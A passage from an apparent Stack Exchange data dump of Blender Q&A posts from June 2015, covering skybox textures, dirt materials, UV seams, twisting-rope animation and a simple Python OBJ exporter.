&lt;code&gt;startup-for-CurrentProject.blend&lt;/code&gt; you've saved earlier. Press&#xA;    &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;O&lt;/kbd&gt; to open saved project using these&#xA;    settings. Find &lt;code&gt;CurrentProject.blend&lt;/code&gt; and load it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fPkgg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New settings were saved including enabled addons and keyboard&#xA;shorcuts.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you have two &lt;code&gt;.blends&lt;/code&gt; in work folder -&#xA;&lt;code&gt;startup-for-CurrentProject.blend&lt;/code&gt; and &lt;code&gt;CurrentProject.blend&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-06-15T15:45:56.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32493" PostTypeId="1" AcceptedAnswerId="32501" CreationDate="2015-06-15T16:17:07.583" Score="1" ViewCount="1252" Body="&lt;p&gt;I have generated 6 images that are of a sky projected onto the faces of a cube from the viewpoint of the centre of the cube (ie. a hopefully seamless skybox).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am having issues adding this texture to the world material. I have tried adding the images to the background via an Environment Texture but am unable to get anything even remotely close to looking correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The world material seems to be applied to a sphere but I want it to be a box (the program I am using to generate the sky generates a box)&lt;/li&gt;&#xA;&lt;li&gt;I don't know how to stitch my images together for use in the world material&lt;/li&gt;&#xA;&lt;li&gt;I'm not sure I'm even going about this the right way&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have searched and searched trying different things for most of the day so far but am coming up blank.&lt;/p&gt;&#xA;" OwnerUserId="14935" LastActivityDate="2015-06-15T19:56:38.960" Title="Cycles - Skybox using 6 projected images" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32494" PostTypeId="1" CreationDate="2015-06-15T17:07:52.947" Score="21" ViewCount="9802" Body="&lt;p&gt;I want to make an object look dusty and have some scruff on it (like the image directly below), but I am unsure of how to go about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uXOoy.jpg&quot; alt=&quot;The object I&amp;#39;m making.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the dust and smudges on it, that's what I am trying to recreate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hHebH.png&quot; alt=&quot;The current render of the objects in Cycles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've modelled the object but would appreciate some advice or keywords to help do my own research, as you can see the render is a far cry from what I want to end up with. If you need any more information I can provide.&lt;/p&gt;&#xA;" OwnerUserId="15019" LastEditorUserId="47" LastEditDate="2015-06-15T17:35:58.647" LastActivityDate="2015-06-27T13:46:41.670" Title="How to make dirty looking object?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="32495" PostTypeId="2" ParentId="32458" CreationDate="2015-06-15T17:29:45.913" Score="1" Body="&lt;p&gt;There are some options set up in a wrong way in your &lt;code&gt;.blend&lt;/code&gt;, some aren't set at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;To be honest, I couldn't see anything on your render in the beginning&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There aren't options for rendering sky at all, because 2 Render&#xA;Layers you have in Compositor mixed have Sky unckecked. Third&#xA;one which has Sky checked (I assume it was created intentionally for&#xA;sky rendering) isn't presented in Compositor. I enabled this layer&#xA;(it's called &quot;main&quot;) in &lt;code&gt;Render Layers&lt;/code&gt; tab and disabled everything&#xA;there except for the Sky option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Ia3C.jpg&quot; alt=&quot;blender-internal_transparent-problem_1&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;code&gt;Particles settings&lt;/code&gt; &gt; &lt;code&gt;Render&lt;/code&gt; scroll &lt;code&gt;Emitter&lt;/code&gt; option hasn't&#xA;been turned on, so you shouldn't see anything except for the stars,&#xA;as text mesh is emitter for them and it wasn't told to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1vqfp.jpg&quot; alt=&quot;blender-internal_transparent-problem_2&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Nodes. To see background and get rid of transparency eating final&#xA;image one should add third layer (called  &quot;main&quot;) and mix it with&#xA;those present there already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yo7iM.jpg&quot; alt=&quot;blender-internal_transparent-problem_3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned off backdrop here so it doesn't mess up nodes settings. I&#xA;also changed background color so to see stars and text effects&#xA;better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zG7i6.jpg&quot; alt=&quot;final&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make everything untransparent with except for background you might want to  manipulate with alpha, using nodes setup as is shown on the next image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VIyZb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus you'll have text and stars solid, and transparent background. At the  same  time I think you won't get any glare on the final image because of alpha  affecting on it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2015-06-17T12:52:20.940" LastActivityDate="2015-06-17T12:52:20.940" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32496" PostTypeId="1" CreationDate="2015-06-15T17:44:18.480" Score="2" ViewCount="7410" Body="&lt;p&gt;I made a simple low poly rock and want to do the textures with blender and export everything to UE4. However, when I apply a texture to my rock the UV seam is very obvious. I have tried using the clone tool in texture paint mode to hide the seam but it doesn't help. Is there a way to hide the seam?&lt;/p&gt;&#xA;" OwnerUserId="15022" LastActivityDate="2016-02-11T10:01:48.620" Title="How do you hide UV seams?" Tags="&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32497" PostTypeId="1" CreationDate="2015-06-15T18:22:26.163" Score="0" ViewCount="24" Body="&lt;p&gt;I have a relatively simple blender image (walls of a house), and my computer is reasonably top-shelf.  However, blender is not showing me the entire image while I'm editing it.  What's worse is that the part it's not showing is the part that's closest to me, so I can't even get to the part of the image that I'm trying to work on.  I've includes two pictures: one of my system's specs and one of my house design with portions of the wall (nearest to you) that are missing from the image.  Video card is NVIDIA GeForce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be a memory issue to me, like blender is not using all of the memory my system will allow it to use.  I have the memory limit (userpref/editing) set to &quot;0&quot; (which my system says means &quot;unlimited&quot;).  Any thoughts as to what I can check/look at/etc. to keep it from doing this?  Thanks in advance for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MjLq2.jpg&quot; alt=&quot;Computer System Info&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bUGYF.png&quot; alt=&quot;Image Problem&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15023" LastEditorDisplayName="user1853" LastEditDate="2015-06-15T19:02:09.453" LastActivityDate="2015-06-15T19:02:09.453" Title="Viewport does not display full image" Tags="&lt;3d-view&gt;&lt;image&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-06-15T19:00:50.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="32499" PostTypeId="2" ParentId="32348" CreationDate="2015-06-15T18:59:07.153" Score="7" Body="&lt;p&gt;The twisting ropes is best accomplished using a curve modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a mesh that has a high enough resolution along the length&#xA;of the &quot;rope&quot;.  Then create a curve representing one of the twisted&#xA;ropes plus some untwisted rope leading away.  Finally, add a Curve&#xA;modifier to the rope mesh; choose the guide curve, and set the&#xA;Deformation Axis to match the helical axis of the guide curve (I used&#xA;Z for my demo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a static situation you will see the rope coiled along part of the&#xA;curve, and then follow the untwisted part away.  Create a 2nd and&#xA;third copy of the rope mesh and the curve guide to illustrate 3&#xA;threads twisting together.  For 3 curves you will want to rotate each&#xA;one by 120 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to animate this, have each guide curve spin on its helical&#xA;axis.  This will appear as three ropes spinning in a partly twisted&#xA;state.  In order to make it seem like the twist is progressing along&#xA;the ropes, animate the curve to move lengthwise along its helical axis&#xA;(keyframes for the Z coordinate).  The change in the relative position&#xA;between the mesh and the guide curve causes the mesh to change what&#xA;part of the curve it follows over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will probably want the fcurves to be linearly interpolated&#xA;(&lt;kbd&gt;t&lt;/kbd&gt; in the curves editor) and linearly extrapolated&#xA;(&lt;kbd&gt;shift&lt;/kbd&gt;-&lt;kbd&gt;e&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the exact geometry of this situation causes the mesh to&#xA;slide backwards along the curve (because the length of the curve is&#xA;longer than the axial distance travelled).  To compensate, you can&#xA;animate the mesh to translate in the opposite direction to the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EEXLO.png&quot; alt=&quot;screenshot of twisting rope scene in blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to animate the Z location of each of the 3 meshes&#xA;independently, you can animate a single one and use the Dope Sheet's&#xA;Action Editor mode to give all of the meshes the same Action datablock&#xA;which will cause them all to animate identically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have an animation where the twisted end of the rope appears to&#xA;be spinning and the loose end with the threads is sliding up along the&#xA;Z axis.  If the loose ends are supposed to be spinning, you will have&#xA;to animate the guide curves spinning as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your guide curve is constructed by python, you should know exactly&#xA;how much translation represents a full twist of the helix.  If not,&#xA;you can just eyeball it.  Again: you will probably want the fcurves to&#xA;be linearly interpolated and linearly extrapolated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a remaining twisting motion of the thread mesh that you can&#xA;counteract by animating the rotation of the mesh.  You can eyeball&#xA;this (mostly because I don't know exactly what equations are in play&#xA;so I can't guide you to a mathematical calculation).  Again, you will&#xA;want to make this linear to match the animation of the guide curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final hairball is keeping the loose ends of the thread at a&#xA;constant distance from the helical axis.  This requires us to animate&#xA;the SHAPE of the guide curve.  This is accomplished using a Hook&#xA;modifier.  The hook modifier can be used on curves and on meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the hook modifier can bind several vertices or control points to&#xA;the motion of another object or bone, the simplest situation is to&#xA;hook a single control point to a single empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the curve.  Switch to Edit mode and select the control point&#xA;for the loose end.  Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;h&lt;/kbd&gt; to hook that&#xA;point to a New Object.  Switch back to Object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The curve is still the active object, and the new empty has&#xA;conveniently been added to the selection.  Use&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;p&lt;/kbd&gt; to parent the empty to the curve.  This&#xA;will allow it to rotate with the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you must move the empty into position to match whatever frame the&#xA;&quot;loose&quot; ends of the thread are attached to.  Since I chose Z for my&#xA;helical axis, that means my X and Y will remain fixed.  I will animate&#xA;the Z so that the hooked empty lines up with the end of the rope mesh.&#xA;You probably want to take care not to keyframe the X and Y position&#xA;(you can select the unwanted data_paths in the Graph Editor and&#xA;&lt;kbd&gt;x&lt;/kbd&gt; to get rid of them if you accidentally create keyframes&#xA;for X or Y).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The reason you avoid keyframing X and Y is so you can reuse the&#xA;animation on the other hook empties.  It revolves around the&#xA;obj.matrix_parent_inverse and could easily become its own essay if I&#xA;knew what the heck was going on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the beginning of the animation the keyframes of the hook empty can&#xA;be spaced out (1/rotation was fine at the beginning).  However, as you&#xA;reach the end of the animation and the available rope begins to run&#xA;out, the Z will have to change faster, and non-linearly (I think it&#xA;ends up being a hyperbola).  Just scrub through the time line; adjust&#xA;the Z coordinate; and insert a keyframe.  If you aren't satisfied go&#xA;ahead and insert more keyframes whenever the hook deviates too far&#xA;from the end of the rope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have animated one hook you can repeat the hook-creation&#xA;procedure to create hooks for the other threads.  However you do not&#xA;have to repeat the keyframing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the hooks are children of the curves, you can reuse the&#xA;animation datablock.  Go into the Dope Sheet and switch it to Action&#xA;Editor mode while the Empty is the active object.  You can use the&#xA;menu button to pick the action from the previously-animated empty (you&#xA;might have to select that first empty so you can see its action name&#xA;in the Action Editor if you did not memorize it).  Now the action is&#xA;shared between those objects.  (The NLA editor also has the ability to assign actions to the active object, but as of 2.74 there are bugs in the UI that can confuse novice users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GVAHC.png&quot; alt=&quot;action editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, your twisting ropes should be animating correctly, at&#xA;least for a certain range of frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go too early, your ropes will separate because they no longer&#xA;line up with the helical portion of the guide curve.  And if you go&#xA;too late they &quot;break loose&quot; from the frame and become completely&#xA;wrapped.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Because I am better at python than hand-modeling, I constructed the curves using the script at &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/spiral-bezier.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/spiral-bezier.html&lt;/a&gt; .  I will include a copy of the python source inline, even though it is only peripherally interesting, and you might need a different shape on your more advanced curves:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import *&#xA;&#xA;&#xA;def adjust_handle_right(bpoint):&#xA;    bpoint.handle_right = bpoint.co * 2 - bpoint.handle_left&#xA;&#xA;&#xA;def set_handles(bpoint, dx, dy, dz):&#xA;    bpoint.handle_right = bpoint.co + Vector([dx,dy,dz])&#xA;    bpoint.handle_left = bpoint.co - Vector([dx,dy,dz])&#xA;&#xA;&#xA;def make_bezier_spiral(name, radius, dz, cycle_count):&#xA;&#xA;    curve = bpy.data.curves.new(name, 'CURVE')&#xA;    curve.dimensions = '3D'&#xA;&#xA;    bez = curve.splines.new('BEZIER')&#xA;&#xA;    after_spiral = 4 * cycle_count&#xA;    final_length = after_spiral +1&#xA;    bez.bezier_points.add(final_length - len(bez.bezier_points))&#xA;&#xA;    for bp in bez.bezier_points:&#xA;        bp.handle_left_type = 'FREE'&#xA;        bp.handle_right_type = 'FREE'&#xA;&#xA;    for i in range(cycle_count):&#xA;        bp0 = bez.bezier_points[i*4]&#xA;        x = radius&#xA;        y = 0&#xA;        z = (i)*dz&#xA;        bp0.co = (x,y,i*dz)&#xA;        set_handles(bp0, 0, radius*.5, dz/12)&#xA;&#xA;        bp1 = bez.bezier_points[i*4+1]&#xA;        x = 0&#xA;        y = radius&#xA;        z = (i+0.25)*dz&#xA;        bp1.co = (x,y,z)&#xA;        set_handles(bp1, -radius*.5,0, dz/12)&#xA;&#xA;        bp2 = bez.bezier_points[i*4+2]&#xA;        x = -radius&#xA;        y = 0&#xA;        z = (i+0.5)*dz&#xA;        bp2.co = (x,y,z)&#xA;        set_handles(bp2, 0, -radius*.5, dz/12)&#xA;&#xA;        bp3 = bez.bezier_points[i*4+3]&#xA;        x = 0&#xA;        y = -radius&#xA;        z = (i+0.75)*dz&#xA;        bp3.co = (x,y,z)&#xA;        set_handles(bp3, radius*.5,0, dz/12)&#xA;&#xA;    bp = bez.bezier_points[after_spiral]&#xA;    x=100&#xA;    y = -radius&#xA;    z = dz*(cycle_count -0.25) + x/(radius*.5) * dz/12&#xA;    bp.co = (x,y,z)&#xA;    set_handles(bp, radius*.5, 0, dz/12)&#xA;&#xA;    return curve&#xA;&#xA;def mission1(scn, radius, dz, cycle_count):&#xA;    name = &quot;spiral&quot;&#xA;    obj = bpy.data.objects.get(name)&#xA;    curve = make_bezier_spiral(name, radius, dz, cycle_count)&#xA;    if obj is None:&#xA;        obj = bpy.data.objects.new(name, curve)&#xA;    else:&#xA;        obj.data = curve&#xA;    try:&#xA;        scn.objects.link(obj)&#xA;    except:&#xA;        pass&#xA;&#xA;#&#xA;&#xA;scn = bpy.context.scene&#xA;mission1(scn, 2, 12, 5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This solution works well for twisting, but if you end up needing weaving or any other complex motions, you may need more hooks on the control points of your curves, or resort to more advanced techniques such as a hundred-bone armature chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/287/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=287&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-06-20T17:20:29.200" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32500" PostTypeId="1" CreationDate="2015-06-15T19:23:04.637" Score="4" ViewCount="798" Body="&lt;p&gt;I've got as plane track and I've keyframed the corners, however I want to delete some of the keyframes...they don't appear to be in in the dope sheet or graph editor. If I select the plane track and go to the frame (with the keyframe) and press the delete keyframe button (at the bottom of the UI) nothing happens.&#xA;Cheers&#xA;Jim&lt;/p&gt;&#xA;" OwnerUserId="15026" LastEditorUserId="47" LastEditDate="2015-06-19T10:26:19.467" LastActivityDate="2015-11-17T03:04:02.200" Title="How do I delete keyframes on a plane track?" Tags="&lt;keyframes&gt;&lt;tracking&gt;&lt;dopesheet&gt;&lt;graph-editor&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32501" PostTypeId="2" ParentId="32493" CreationDate="2015-06-15T19:56:38.960" Score="1" Body="&lt;p&gt;Blender's environment texture in Cycles only supports Mirror Ball and Equirectangular image map types. You cannot use a skybox texture directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of your options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Convert the skybox image to one of the other 2 formats in a third party image convertor.&lt;/li&gt;&#xA;&lt;li&gt;Set Blender native environment to pure black. Create a large cube object that surrounds your scene, UV unwrap and add the skybox image texture to that object.&lt;/li&gt;&#xA;&lt;li&gt;Find a new sky image in Equirectangular or Mirrorball format and use that instead&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Blender's internal render engine (BI) does seem to support additional mapping types (Object, Tube, Sphere, Global). Perhaps you could use the Object mode to base the mapping on a cube object but displayed as the world environment. I've not tried or tested that technique though.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-15T19:56:38.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32502" PostTypeId="2" ParentId="32468" CreationDate="2015-06-15T20:01:22.843" Score="9" Body="&lt;p&gt;This is a simple OBJ export script, that this writes valid OBJ files that load back into Blender: verts and faces, (no edges or materials).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;&#xA;filepath = &quot;/tmp/simple_obj.obj&quot;&#xA;&#xA;obj = context.object&#xA;mesh = obj.data&#xA;&#xA;with open(filepath, 'w') as f:&#xA;    f.write(&quot;# OBJ file\n&quot;)&#xA;    for v in mesh.vertices:&#xA;        f.write(&quot;v %.4f %.4f %.4f\n&quot; % v.co[:])&#xA;    for p in mesh.polygons:&#xA;        f.write(&quot;f&quot;)&#xA;        for i in p.vertices:&#xA;            f.write(&quot; %d&quot; % (i + 1))&#xA;        f.write(&quot;\n&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This script can be pasted into Blenders text editor and executed, you will want to modify the output &lt;code&gt;filepath&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-06-16T00:44:13.927" LastActivityDate="2015-06-16T00:44:13.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32503" PostTypeId="1" AcceptedAnswerId="34369" CreationDate="2015-06-15T20:23:59.813" Score="8" ViewCount="1523" Body="&lt;p&gt;I made a few grease pencil strokes over an image displayed in UV/Image Editor, is there a way to save an image that includes those strokes (except making a screenshot)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &quot;Save as Image&quot; saves only the original picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xORKN.jpg&quot; alt=&quot;grease pencil&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastEditorUserId="2217" LastEditDate="2015-06-24T15:36:16.903" LastActivityDate="2016-01-29T20:12:45.490" Title="How to save an image in UV/Image Editor with grease pencil strokes visible?" Tags="&lt;rendering&gt;&lt;image&gt;&lt;grease-pencil&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32504" PostTypeId="1" AcceptedAnswerId="32506" CreationDate="2015-06-15T20:41:37.913" Score="4" ViewCount="1498" Body="&lt;p&gt;I am currently struggling with the concept of UV unwrapping in Blender. I have recently come across the method &quot;follow active quads&quot; and, while I have used it successfully, I do not fully understand how it works. I am unable to find an explanation for how this unwrap method works online. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer a good way to visualise this? &lt;/p&gt;&#xA;" OwnerUserId="13661" LastActivityDate="2015-06-15T21:32:58.267" Title="UV Unwrap - follow active quads" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32505" PostTypeId="2" ParentId="32491" CreationDate="2015-06-15T21:03:23.113" Score="6" Body="&lt;h2&gt;Solution&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;All you literally need to do to fix this is Click this button. (on all of your Motion Actuators)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pyFBG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reason&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When the &lt;strong&gt;&lt;em&gt;Ad&lt;/em&gt;&lt;/strong&gt; button is &lt;em&gt;not&lt;/em&gt; clicked, each Actuator is setting the location, and is is overriding any other Actuators activated previously, regardless of whether or not they are still running. Enabling the &lt;strong&gt;&lt;em&gt;Ad&lt;/em&gt;&lt;/strong&gt; button makes each Actuator add to the change in location, enabling multiple Actuators to be executing at the same time.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-06-15T21:03:23.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32506" PostTypeId="2" ParentId="32504" CreationDate="2015-06-15T21:07:09.687" Score="2" Body="&lt;p&gt;Follow Active Quads will extend the selected mesh UVs depends on the angle of the edges of active Quad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/btlyK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unwraping a mesh that doesn't have a UV map will set the active face mapped to the full size of the UV window and extent the rest of the faces accordingly.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-06-15T21:32:58.267" LastActivityDate="2015-06-15T21:32:58.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32508" PostTypeId="1" AcceptedAnswerId="32510" CreationDate="2015-06-15T21:56:03.047" Score="5" ViewCount="500" Body="&lt;p&gt;I have a question. I needed to hide seam marks on my model so I used clone stamp. The problem is that it looks good in every display method (texture/material) except in &quot;rendered&quot; display method. Here are some pictures&#xA;How to make it visible in render method?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a0Xr8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jg4KB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/22Bde.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15028" LastEditorUserId="241" LastEditDate="2016-08-24T15:45:50.557" LastActivityDate="2016-08-24T15:45:50.557" Title="Why is my texture appearing differently in texture mode compared to render display mode?" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;&lt;nodes&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32509" PostTypeId="2" ParentId="7365" CreationDate="2015-06-15T22:06:40.343" Score="3" Body="&lt;p&gt;This is an answer to MrFlamey's question since I don't have 50 reputation to post a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To extrude faces along face normals, as opposed to vertex normals, extrude  the polygons with Mesh -&gt; Extrude -&gt; Region, move them with Mesh -&gt; Transform -&gt; Shrink Fatten and hit S key to make offset even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WAuRa.gif&quot; alt=&quot;Blender: how to extrude faces evenly along face normals&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4780" LastActivityDate="2015-06-15T22:06:40.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32510" PostTypeId="2" ParentId="32508" CreationDate="2015-06-15T22:40:37.417" Score="7" Body="&lt;p&gt;My guess would be that you haven't saved the image after texture painting and/or reloaded it so Cycles isn't seeing the updated texture yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in texture paint mode you can choose 'Save All Images' from the 'Slots' tab of the toolbar to save any edited images to disk:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QIbHA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then reload the image node in the node editor by selecting the image node and from the 'Properties' panel (Press &lt;kbd&gt;N&lt;/kbd&gt; while in the node editor) and choose the 'Reload' button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8fOD1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I have sometimes found the need to switch from rendered view to another view and then back to rendered view for the image texture to update.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-06-15T22:40:37.417" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32512" PostTypeId="2" ParentId="32496" CreationDate="2015-06-15T23:40:41.903" Score="1" Body="&lt;p&gt;Select your rock, in edit mode clear all seams, mark another set of seams different from the previous set, create a new UV map (name it &quot;target&quot;), unwrap the mesh, in the image editor create a new blank image and save it to the HD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the render tab, Bake tab: Bake Textures.&#xA;This procedure creates a 2D image - with visible seams - that can be doctored with a 2D image editor and then used as texture with the &quot;target&quot; UV map.&#xA;Make sure not to touch the borders of your new image while doctoring, or you'll create new visible seams.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-15T23:40:41.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
